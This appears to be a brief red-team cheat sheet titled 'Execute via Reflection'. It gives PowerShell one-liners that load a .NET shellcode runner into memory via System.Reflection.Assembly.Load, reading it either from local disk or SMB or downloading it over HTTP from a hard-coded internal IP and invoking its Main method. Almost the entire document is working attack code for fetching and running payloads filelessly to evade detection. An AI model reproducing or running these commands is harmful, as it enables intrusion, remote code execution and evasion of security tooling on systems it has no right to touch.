Execute via Reflection

Reflective loading of .NET assemblies.

Local or SMB

$data=[IO.File]::ReadAllBytes('shellcode_runner.exe')
$ass=[System.Reflection.Assembly]::Load($data)
$ass.GetType("Runner.TestClass").GetMethod("Main").Invoke($null,@(,$null))

Remote (HTTP)

$data=(New-Object System.Net.WebClient).DownloadData('http://192.168.119.120/shellcode_runner.exe')
$ass=[System.Reflection.Assembly]::Load($data)
$ass.GetType("Runner.TestClass").GetMethod("Main").Invoke($null,@(,$null))